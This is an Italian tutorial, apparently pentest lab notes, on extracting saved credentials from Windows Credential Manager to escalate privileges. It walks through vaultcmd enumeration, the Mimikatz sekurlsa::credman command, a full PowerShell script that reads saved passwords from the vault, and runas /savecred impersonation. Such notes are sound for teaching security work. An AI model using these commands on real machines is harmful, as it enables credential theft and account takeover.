tags: Dumping_WCM Windows_Privilage_Escalation Windows Estrazione_Hash_WCM


Credential Manager è una funzionalità di Windows che memorizza le informazioni sensibili relative all’accesso a siti Web, applicazioni e reti. Contiene credenziali di accesso quali nomi utente, password e indirizzi Internet. Esistono quattro categorie di credenziali:

  • Le credenziali Web contengono i dettagli di autenticazione memorizzati nei browser Internet o in altre applicazioni.

  • Le credenziali Windows contengono dettagli di autenticazione Windows, come NTLM o Kerberos.

  • Le credenziali generiche contengono dettagli di autenticazione di base, come nomi utente e password in chiaro.

  • Credenziali basate su certificati: si tratta di dettagli di autenticazione basati su certificati.

Per listare i vari Volt presenti possiamo usare il seguente comando:

 
C:\Users\Administrator>vaultcmd /list
 
Currently loaded vaults:
        Vault: Web Credentials
        Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
        Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
 
        Vault: Windows Credentials
        Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
        Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault
 

Per vedere se contengono credenziali possiamo utlizzare il seguente comando:

 
C:\Users\Administrator>VaultCmd /listproperties:"Web Credentials"
 
Vault Properties: Web Credentials
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Number of credentials: 1
Current protection method: DPAPI
 

Per ottenere ancora più informazioni possiamo utilizzare:

 
C:\Users\Administrator>VaultCmd /listcreds:"Web Credentials"
 
 
Credentials in vault: Web Credentials
 
Credential schema: Windows Web Password Credential
Resource: internal-app.thm.red
Identity: THMUser Saved By: MSEdge
Hidden: No
Roaming: Yes
 

Estrazione credenziali

Per estrarre le credenziali presenti possiamo utilizzare diversi metodi.

Mimikatz

 
mimikatz # privilege::debug
 
Privilege '20' OK
 
mimikatz # sekurlsa::credman
 

Get-WebCredentials.ps1

Questo script ti permette di dumpare le credenziali del WCM:

function Get-WebCredentials
{
<#
.SYNOPSIS
Nishang script to retrieve web credentials from Windows vault (requires PowerShell v3 and above)
 
.DESCRIPTION
This script can be used to retreive web credentiaks stored in Windows Valut from Windows 8 onwards. The script 
also needs PowerShell v3 onwards and must be run from an elevated shell.
 
.EXAMPLE
PS > Get-WebCredentials
 
.LINK
https://github.com/samratashok/nishang
#>
[CmdletBinding()] Param ()
 
 
#http://stackoverflow.com/questions/9221245/how-do-i-store-and-retrieve-credentials-from-the-windows-vault-credential-manage
$ClassHolder = [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$VaultObj = new-object Windows.Security.Credentials.PasswordVault
$VaultObj.RetrieveAll() | foreach { $_.RetrievePassword(); $_ }
}

La pagina da cui è preso la puoi trovare a questo indirizzo.

RunAs

Un metodo alternativo è quello di utilizzare il comando nativo runas.

Per prima cosa listiamo le credenziali presenti con il comando:

 
PS C:\Users\Administrator> cmdkey /list
 
Currently stored credentials:
 
    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic
    User: 02qlpqmzrgmmbamm
    Local machine persistence
 
    Target: LegacyGeneric:target=10.10.237.226
    Type: Generic
    User: thm
 
    Target: Domain:interactive=thm.red\thm-local
    Type: Domain Password
    User: thm.red\thm-local
    

Ora ci impersonifichiamo come thm-red\thm-local nel seguente modo:

 
C:\Users\thm>runas /savecred /user:THM.red\thm-local cmd.exe Attempting to start 
 
cmd.exe as user "THM.red\thm-local" ...